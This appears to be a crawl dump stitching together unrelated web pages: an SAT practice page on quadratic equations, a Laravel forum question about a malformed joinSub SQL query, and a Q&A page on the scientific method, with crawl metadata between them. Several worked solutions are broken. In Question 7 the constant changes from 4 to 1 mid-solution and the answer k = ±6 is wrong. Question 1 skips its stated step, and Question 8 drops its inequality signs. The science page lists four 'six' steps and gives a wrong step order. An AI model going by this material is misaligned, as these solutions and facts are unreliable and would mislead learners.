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"Jazzcat\n\nBeautiful. Amazing. Brilliant!",
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"mousman\n\nthanks",
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"Julio\n\n•",
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https://www.onlinemath4all.com/sat-math-questions-on-quadratic-equations.html | [
"# SAT MATH QUESTIONS ON QUADRATIC EQUATIONS\n\nQuestion 1 :\n\nIf x2 + 4x = 45 and x > 0, what is the value of (x + 2)?\n\nx2 + 4x = 45\n\nSubtract 45 from both sides.\n\nx2 + 4x = 45\n\nFactor and solve for x.\n\n(x + 9)(x - 5) = 0\n\nx + 9 = 0 or x - 5 = 0\n\nx = -9 or x = 5\n\nSince x > 0, k = 5.\n\nx + 2 = 5 + 2\n\nx + 2 = 7\n\nQuestion 2 :\n\nFind the sum and product of the solutions to the following quadratic equation.\n\n2x2 + 6x + 2 = 0\n\n2x2 + 6x + 2 = 0\n\nDivide both sides by 2.\n\nx2 + 3x + 1 = 0\n\nComparing\n\nx2 + 3x + 1 = 0\n\nand\n\nax2 + bx + c = 0\n\nwe get\n\na = 1, b = 3 and c = 1\n\nTherefore,\n\nsum of the roots = -b/a\n\n= -3/1\n\n= -3\n\nproduct of the roots = c/a\n\n= 1/1\n\n= 1\n\nQuestion 3 :\n\nx2 - 5x + c = 0\n\nIn the quadratic equation above, c is a constant. In the equation has two solutions for x, one of which is -3, what is the value of the other solution?\n\nOne of the roots of the quadratic equation is given, that is -3. Let k be the other root of the equation.\n\nComparing\n\nx2 - 5x + c = 0\n\nand\n\nax2 + bx + c = 0\n\nwe get\n\na = 1, b = -5 and c = c\n\nTherefore,\n\nsum of the roots = -b/a\n\n= -(-5)/1\n\n= 5\n\nk + (-3) = 5\n\nk - 3 = 5\n\nk = 8\n\nSo, the other solution is 8.\n\nQuestion 4 :\n\nIf (x + 3)(x - 3) = 91, what is the value of x?\n\n(x + 3)(x - 3) = 91\n\nx2 - 3x + 3x - 9 = 91\n\nx2 - 9 = 91\n\nx2 = 100\n\nTake square root on both sides.\n\n√x2 = √100\n\nx = ±10\n\nQuestion 5 :\n\n(x - a)(x - a - b) = 0\n\nIn the quadratic equation above, a and b are constants greater than zero. if 8 and 3 are two solutions to the equation, what is the value of b.\n\n(x - a)(x - a - b) = 0\n\nx - a = 0 or x - a - b = 0\n\n x - a = 0Add a to both sides.x = a x - a - b = 0Add a and b to both sides.x = a + b\n\nGiven : 8 and 3 are two solutions (values of x) to the equation.\n\nAssume a = 8 and a + b = 3.\n\nSubstitute a = 8 in a + b = 3.\n\n8 + b = 3\n\nSubtract 8 from both sides.\n\nb = -5\n\nSince b is a constant greater than zero, b = -5 can not be accepted.\n\nAssume a = 3 and a + b = 8.\n\nSubstitute a = 3 in a + b = 8.\n\n3 + b = 8\n\nSubtract 3 from both sides.\n\nb = 5\n\nIn b = 5, the value of b is greater than zero. So, the value of b is 5.\n\nQuestion 6 :\n\n2x2 - 10x + k = 0\n\nThe quadratic equation above, in which k is a constant has two solutions m and n. If m > n and m - n = 9, what is the value of n?\n\nComparing\n\n2x2 - 10x + k = 0\n\nand\n\nax2 + bx + c = 0\n\nwe get\n\na = 2, b = -10 and c = k\n\nSum of the roots = -b/a\n\n= -(-10)/2\n\n= 5\n\nGiven : The two solutions of the quadratic equation are m and n.\n\nm + n = 5 ----(1)\n\nGiven : m - n = 9.\n\nm - n = 9 ----(2)\n\nAdd (1) and (2) to eliminate n and solve for m.\n\n2m = 14\n\nDivide both sides by 2.\n\nm = 7\n\nSubstitute m = 7 in (1).\n\n7 + n = 5\n\nSubtract 7 from both sides.\n\nn = -2\n\nQuestion 7 :\n\n9x2 + kx + 4 = 0\n\nThe quadratic equation above has two equal real roots, find the value of k.\n\nComparing\n\n9x2 + kx + 1 = 0\n\nand\n\nax2 + bx + c = 0\n\nwe get\n\na = 9, b = k and c = 1\n\nIf the quadratic equation in the form ax2 + bx + c = 0 has two real roots, then the value of the discriminant b2 - 4ac is zero.\n\nb2 - 4ac = 0\n\nSubstitute b = k, a = 9 and c = 1.\n\nk2 - 4(9)(1) = 0\n\nk2 - 36 = 0\n\nk2 = 36\n\nTake square root on both sides.\n\nk2 = √36\n\nk = ±6\n\nQuestion 8 :\n\nkx2 + 8x + 4 = 0\n\nThe quadratic equation above has two real roots, find the maximum possible value of k.\n\nComparing\n\nkx2 + 8x + 4 = 0\n\nand\n\nax2 + bx + c = 0\n\nwe get\n\na = k, b = 8 and c = 4\n\nIf the quadratic equation in the form ax2 + bx + c = 0 has two real roots, then the value of the discriminant b2 - 4ac is greater than or equal to zero.\n\nb2 - 4ac 0\n\nSubstitute b = 8, a = k and c = 4.\n\n82 - 4(k)(4) 0\n\n64 - 16k 0\n\nSubtract 64 from both sides.\n\n-16k -64\n\nDivide both sides by -16.\n\nk ≤ 4\n\nk can be equal to 4 or less than 4.\n\nTherefore, the maximum possible value for k is 4.\n\nKindly mail your feedback to [email protected]\n\n## Recent Articles",
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"1. ### Representation of a Set Worksheet\n\nOct 02, 23 11:40 PM\n\nRepresentation of a Set Worksheet\n\n2. ### Representation of Set\n\nOct 02, 23 08:32 PM\n\nRepresentation of Set"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.85110146,"math_prob":1.0000083,"size":3868,"snap":"2023-40-2023-50","text_gpt3_token_len":1584,"char_repetition_ratio":0.15295032,"word_repetition_ratio":0.22403847,"special_character_ratio":0.4524302,"punctuation_ratio":0.113347456,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000064,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-10-03T03:51:28Z\",\"WARC-Record-ID\":\"<urn:uuid:f16db9d0-db01-495c-be06-aac2424e0ad9>\",\"Content-Length\":\"73997\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fbbe0d96-1231-465d-b5cf-924d5d2ffe33>\",\"WARC-Concurrent-To\":\"<urn:uuid:8998f8f7-0ba0-4b91-940b-66daa985ef33>\",\"WARC-IP-Address\":\"173.247.218.242\",\"WARC-Target-URI\":\"https://www.onlinemath4all.com/sat-math-questions-on-quadratic-equations.html\",\"WARC-Payload-Digest\":\"sha1:JPISZBM6OVJKNCQLCRBMVOKXIJ6RET75\",\"WARC-Block-Digest\":\"sha1:PAJE23Z4NLHIKMD7QJHVNEX4YLCV3RZJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233511053.67_warc_CC-MAIN-20231003024646-20231003054646-00776.warc.gz\"}"} |
https://laracasts.com/discuss/channels/eloquent/getting-strange-things-when-using-where-with-join-adds-at-the-end-of-join?page=1 | [
"MartinZeltin\n6 months ago\n\n# Getting strange things when using where() with join() - adds = '' at the end of join\n\nPosted 6 months ago by MartinZeltin\n\nI am getting this strange query from my join subquery (notice the = '' at the end)\n\n``````inner join\n...\nas `joined` on `date(joined`.`created_at) = date(cash_register_order_total_history`.`created_at)` = '' order by date_of_month\n``````\n\nWhy does Laravel add the strange `= ''` at the end? I'm getting a syntax error because of it.\n\nHere is my query\n\n``````\\$join2 = \\App\\Models\\CashRegisterOrderTotalHistory::from('cash_register_order_total_history as history')\n->select('order_sum as last_order_sum', 'created_at')\n->where('created_at', function(\\$query) {\n\\$query->selectRaw('max(created_at) from cash_register_order_total_history history2 where date(history2.created_at) = date(history.created_at)');\n});\n\n\\$results = \\App\\Models\\CashRegisterOrderTotalHistory::selectRaw('\ndate(cash_register_order_total_history.created_at) as date_of_month,\nweekday(cash_register_order_total_history.created_at) + 1 as day_of_week,\nsum(order_sum) as total_order_sum,\nsum(items.total_beef_used) as total_beef_used,\nmax(cash_register_order_total_history.created_at) as lastorderdate,\nmax(joined.last_order_sum) as last_order_sum\n')->joinSub(\\$join2, 'joined', function (\\$join) {\n\\$join->on('date(joined.created_at) = date(cash_register_order_total_history.created_at)');\n})->groupBy('date_of_month')\n->toSql();\n``````"
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https://ctschoolcounselor.org/what-are-the-12-science-process-skills/ | [
"# What are the 12 science process skills?\n\n## What are the 12 science process skills?\n\nSchools (hereafter known as the K-6 Science Competency Continuum) (Mechling, Bires, Kepler, Oliver & Smith, 1983), the proposed test planned to measure the following process skills: (1) observing, (2) classifying, (3) inferring, (4) predicting, (5) measuring, (6) communicating, (7) using space-time relations, (8) …\n\n## What are the six basic scientific method?\n\nKey Takeaways The basic steps of the scientific method are: 1) make an observation that describes a problem, 2) create a hypothesis, 3) test the hypothesis, and 4) draw conclusions and refine the hypothesis.\n\n## What is the correct order of the step?\n\nWhat is the correct order of steps in the scientific method? Make hypothesis, test the hypothesis, analyze the results, ask a question, draw conclusions, communicate results.\n\n## What is the last step in the scientific method?\n\nThe last step of the scientific method is to form a conclusion. If the data support the hypothesis, then the hypothesis may be the explanation for the phenomena.\n\n## What do you call a series of logical steps that is followed in order to solve a problem?\n\nA series of logical steps that is followed in order to solve a problem is called the Scientific Method.\n\n## Which step is not part of the scientific method?\n\nAnswer and Explanation: The choice that is not a part of the scientific method is (a), the theory of relativity. The hypothesis, experimentation, data analysis and conclusion…\n\n## What does it mean to think like a scientist?\n\nThinking like a scientist is based on asking and answering questions. They may design and perform an experiment to try to answer their question and test their hypothesis. From the results of their experiment, scientists draw conclusions. A conclusion describes what the evidence tells the scientist.\n\n## What is a good scientific experiment?\n\nCONSTANTS/CONTROLLED EXPERIMENT: All other properties and factors should be the SAME in all groups, or they should be CONTROLLED. Example: the amount of food, the amount of air, the type of plant, are all kept the same. A good experiment usually has at least two or three experimental groups, or data points.\n\nBegin typing your search term above and press enter to search. Press ESC to cancel."
]
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